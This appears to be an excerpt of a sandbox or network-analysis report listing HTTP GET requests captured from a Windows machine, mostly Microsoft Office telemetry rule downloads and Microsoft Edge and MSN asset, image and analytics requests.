Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3CD7EF6E4E356EB83574FA474F626FE4&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=bdced2bc9be844e4cb270db5ff5854da HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730340273831&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=975651cc5bb74788834f172e3f218273&activityId=975651cc5bb74788834f172e3f218273&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3CD7EF6E4E356EB83574FA474F626FE4&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=436f90f4762e4f90b410929cb150acb2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
